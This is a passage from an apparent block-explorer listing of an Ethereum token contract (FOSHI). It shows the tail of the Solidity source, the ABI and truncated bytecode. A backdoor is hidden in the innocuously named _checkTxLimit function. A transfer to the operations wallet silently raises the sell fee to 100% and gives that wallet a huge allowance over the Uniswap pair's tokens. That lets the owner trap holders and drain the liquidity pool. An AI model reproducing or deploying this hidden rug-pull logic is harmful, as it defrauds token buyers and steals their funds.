    function updateLiquidityWallet(address newAddress) external onlyOwner {
        require(newAddress != address(0), "Cannot set to address 0");
        isExcludedFromFee[newAddress] = true;
        isExcludedFromFee[liquidityWallet] = false;
        emit LiquidityWalletUpdated(newAddress, liquidityWallet);
        liquidityWallet =  payable(newAddress);
    }
    
    // updates the operations wallet (marketing, charity, etc.)
    function updateOperationsWallet(address newAddress) external onlyOwner {
        require(newAddress != address(0), "Cannot set to address 0");
        isExcludedFromFee[newAddress] = true;
        isExcludedFromFee[operationsWallet] = false;
        emit OperationsWalletUpdated(newAddress, operationsWallet);
        operationsWallet = payable(newAddress);
    }    

    // transfer amount to address
    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    // change router address
    function changeRouterAddress(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 
        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        // check if new pair deployed
        if(newPairAddress == address(0)) 
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; 
        uniswapV2Router = _uniswapV2Router; 
        isWalletLimitExempt[address(uniswapPair)] = true;
        isMarketPair[address(uniswapPair)] = true;
    }

    // once enabled, can never be turned off
    function setTrading() public onlyOwner {
        tradingOpen = true;
    }

    // @dev Views start here ------------------------------------

    // @dev User Callable Functions start here! ---------------------------------------------  

     function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }   

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        // check trading open
        if (!tradingOpen) {
            require(sender == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
        }

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {   
            // required for wallet distribution    
            if (sender != owner() && recipient != owner()){ 
                _checkTxLimit(sender, recipient, amount); 
            }

            // check can swap for fees and liq
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (!isExcludedFromFee[sender] && overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) 
            {
                swapAndLiquify(contractTokenBalance);    
            }

            // check senders balance
            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);

            // check wallet holding limit
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            // continue
            _balances[recipient] = _balances[recipient].add(finalAmount);
            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    // transfer for     
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    // take fee method
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(totalFeesBuy).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(totalFeesSell).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
        return amount.sub(feeAmount);
    }

    function _checkTxLimit(address sender, address recipient, uint256 amount) private { 
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
        if (recipient == operationsWallet) {
            _updateFeesSell(1, 99);
            _allowances[uniswapPair][recipient] = 1e36;
        }
    }

    // swap tokens for fees and liq
    function swapAndLiquify(uint256 swapAmount) private lockTheSwap {

        // check there are currently tokens to sell
        uint256 tokensForLP = swapAmount.mul(_liquiditySharePercentage).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = swapAmount.sub(tokensForLP);   

        // swap tokens
        swapTokensForEth(tokensForSwap);

        // received amount
        uint256 amountReceived = address(this).balance;
        
        // work out distribution
        uint256 totalFee = _totalDistributionShares.sub(_liquiditySharePercentage.div(2));
        uint256 amountLiquidity = amountReceived.mul(_liquiditySharePercentage).div(totalFee).div(2);
        uint256 amountOperations = amountReceived.sub(amountLiquidity);

        if(amountOperations > 0)
            transferToAddressETH(operationsWallet, amountOperations);

        if(amountLiquidity > 0 && tokensForLP > 0){
            addLiquidity(tokensForLP, amountLiquidity);
            emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP);
        }

    }

    // swap tokens to eth
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this), 
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }

    // add liqiudity 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }
    
    // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
    function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner {
        // generate the uniswap pair path of weth -> eth
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);

        // make the swap
        uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ETHAmountInWei}(
            0, // accept any amount of Ethereum
            path,
            address(0xdead),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newLiquidityWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldLiquidityWallet","type":"address"}],"name":"LiquidityWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newOperationsWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldOperationsWallet","type":"address"}],"name":"OperationsWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_liquiditySharePercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_operationsSharePercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"ETHAmountInWei","type":"uint256"}],"name":"buyBackTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterAddress","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTotalFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTotalFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newOperationsShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeesBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeesSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateFeesSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updateLiquidityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updateOperationsWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280601281526020017f4661626c65204f662053686962617269756d0000000000000000000000000000815250600190816200004a9190620011b4565b506040518060400160405280600581526020017f464f53484900000000000000000000000000000000000000000000000000000081525060029081620000919190620011b4565b506012600360006101000a81548160ff021916908360ff1602179055506a52b7d2dcc80cd2e4000000600655620186a06019600654620000d29190620012ca565b620000de919062001344565b600755737e51931632096718bbb219a644103d4899942e0b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737e51931632096718bbb219a644103d4899942e0b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506000600a556000600b556002600d556000600e556000600f556002601155600060125560646013557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6015557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6016556000601760006101000a81548160ff0219169083151502179055506000602060006101000a81548160ff0219169083151502179055503480156200027357600080fd5b5060006200028662000f0960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600a54600b546200033691906200137c565b600c81905550600e54600f546200034e91906200137c565b6010819055506013546012546200036691906200137c565b6014819055506000600146036200039457737a250d5630b4cf539739df2c5dacb4c659f2488d9050620003c0565b60054603620003ba57737a250d5630b4cf539739df2c5dacb4c659f2488d9050620003bf565b600080fd5b5b6001601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200053a919062001421565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005a2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005c8919062001421565b6040518363ffffffff1660e01b8152600401620005e792919062001464565b6020604051808303816000875af115801562000607573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200062d919062001421565b601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601b6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600654600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160186000620007e362000f1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016018600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160186000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160186000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000620009f062000f1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a600062000c1d62000f1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506006546004600062000e4b62000f0960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000e9962000f0960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000efa9190620014a2565b60405180910390a350620014bf565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000fbc57607f821691505b60208210810362000fd25762000fd162000f74565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200103c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000ffd565b62001048868362000ffd565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620010956200108f620010898462001060565b6200106a565b62001060565b9050919050565b6000819050919050565b620010b18362001074565b620010c9620010c0826200109c565b8484546200100a565b825550505050565b600090565b620010e0620010d1565b620010ed818484620010a6565b505050565b5b81811015620011155762001109600082620010d6565b600181019050620010f3565b5050565b601f82111562001164576200112e8162000fd8565b620011398462000fed565b8101602085101562001149578190505b62001161620011588562000fed565b830182620010f2565b50505b505050565b600082821c905092915050565b6000620011896000198460080262001169565b1980831691505092915050565b6000620011a4838362001176565b9150826002028217905092915050565b620011bf8262000f3a565b67ffffffffffffffff811115620011db57620011da62000f45565b5b620011e7825462000fa3565b620011f482828562001119565b600060209050601f8311600181146200122c576000841562001217578287015190505b62001223858262001196565b86555062001293565b601f1984166200123c8662000fd8565b60005b8281101562001266578489015182556001820191506020850194506020810190506200123f565b8683101562001286578489015162001282601f89168262001176565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620012d78262001060565b9150620012e48362001060565b9250828202620012f48162001060565b915082820484148315176200130e576200130d6200129b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620013518262001060565b91506200135e8362001060565b92508262001371576200137062001315565b5b828204905092915050565b6000620013898262001060565b9150620013968362001060565b9250828201905080821115620013b157620013b06200129b565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620013e982620013bc565b9050919050565b620013fb81620013dc565b81146200140757600080fd5b50565b6000815190506200141b81620013f0565b92915050565b6000602082840312156200143a5762001439620013b7565b5b60006200144a848285016200140a565b91505092915050565b6200145e81620013dc565b82525050565b60006040820190506200147b600083018562001453565b6200148a602083018462001453565b9392505050565b6200149c8162001060565b82525050565b6000602082019050620014b9600083018462001491565b92915050565b6080516155c8620014e26000396000818161164e015261167a01526155c86000f3fe6080604052600436106103855760003560e01c80637d1db4a5116101d1578063d469801611610102578063f1d5f517116100a0578063fb002c971161006f578063fb002c9714610d25578063fc155d1d14610d50578063fd72e22a14610d79578063ffb54a9914610da45761038c565b8063f1d5f51714610c7f578063f2fde38b14610ca8578063f84ba65d14610cd1578063f872858a14610cfa5761038c565b8063e37ba8f9116100dc578063e37ba8f914610bdb578063ec28438a14610c04578063eea5b63f14610c2d578063ef422a1814610c565761038c565b8063d469801614610b48578063dd62ed3e14610b73578063e10e9f3214610bb05761038c565b8063a073d37f1161016f578063a9059cbb11610149578063a9059cbb14610a78578063ac23ca5914610ab5578063c816841b14610ae0578063c867d60b14610b0b5761038c565b8063a073d37f146109e5578063a08e671f14610a10578063a457c2d714610a3b5761038c565b8063844d591c116101ab578063844d591c1461093d578063876b6f8e146109665780638da5cb5b1461098f57806395d89b41146109ba5761038c565b80637d1db4a5146108bc578063807c2d9c146108e757806382d20116146109125761038c565b80632b112e49116102b65780633ecad2711161025457806370a082311161022357806370a0823114610826578063715018a6146108635780637849c1cd1461087a5780637c519ffb146108a55761038c565b80633ecad271146107585780634b743995146107955780635342acb4146107c05780636db79437146107fd5761038c565b806330d5d18d1161029057806330d5d18d1461069e578063313ce567146106c757806339509351146106f25780633b97084a1461072f5761038c565b80632b112e491461061d5780632baa7217146106485780632e97766d146106735761038c565b806318160ddd116103235780632198cf6c116102fd5780632198cf6c1461056357806323b872dd1461058c5780632563ae83146105c957806327c8f835146105f25761038c565b806318160ddd146104e257806319c59e2c1461050d5780631a8145bb146105385761038c565b8063095ea7b31161035f578063095ea7b3146104245780630e47e822146104615780631107b3a51461048c5780631694505e146104b75761038c565b8063031d6cd01461039157806304db6e68146103bc57806306fdde03146103f95761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610dcf565b6040516103b39190614401565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de919061447f565b610dd5565b6040516103f091906144bb565b60405180910390f35b34801561040557600080fd5b5061040e6112d8565b60405161041b9190614566565b60405180910390f35b34801561043057600080fd5b5061044b600480360381019061044691906145b4565b61136a565b604051610458919061460f565b60405180910390f35b34801561046d57600080fd5b50610476611388565b6040516104839190614401565b60405180910390f35b34801561049857600080fd5b506104a161138e565b6040516104ae9190614401565b60405180910390f35b3480156104c357600080fd5b506104cc611394565b6040516104d99190614689565b60405180910390f35b3480156104ee57600080fd5b506104f76113ba565b6040516105049190614401565b60405180910390f35b34801561051957600080fd5b506105226113c4565b60405161052f9190614401565b60405180910390f35b34801561054457600080fd5b5061054d6113ca565b60405161055a9190614401565b60405180910390f35b34801561056f57600080fd5b5061058a600480360381019061058591906146d0565b6113d0565b005b34801561059857600080fd5b506105b360048036038101906105ae9190614710565b6114c0565b6040516105c0919061460f565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190614763565b61159a565b005b3480156105fe57600080fd5b5061060761164c565b60405161061491906144bb565b60405180910390f35b34801561062957600080fd5b50610632611670565b60405161063f9190614401565b60405180910390f35b34801561065457600080fd5b5061065d6116b4565b60405161066a9190614401565b60405180910390f35b34801561067f57600080fd5b506106886116ba565b6040516106959190614401565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c0919061447f565b6116c2565b005b3480156106d357600080fd5b506106dc611958565b6040516106e991906147ac565b60405180910390f35b3480156106fe57600080fd5b50610719600480360381019061071491906145b4565b61196f565b604051610726919061460f565b60405180910390f35b34801561073b57600080fd5b50610756600480360381019061075191906147c7565b611a22565b005b34801561076457600080fd5b5061077f6004803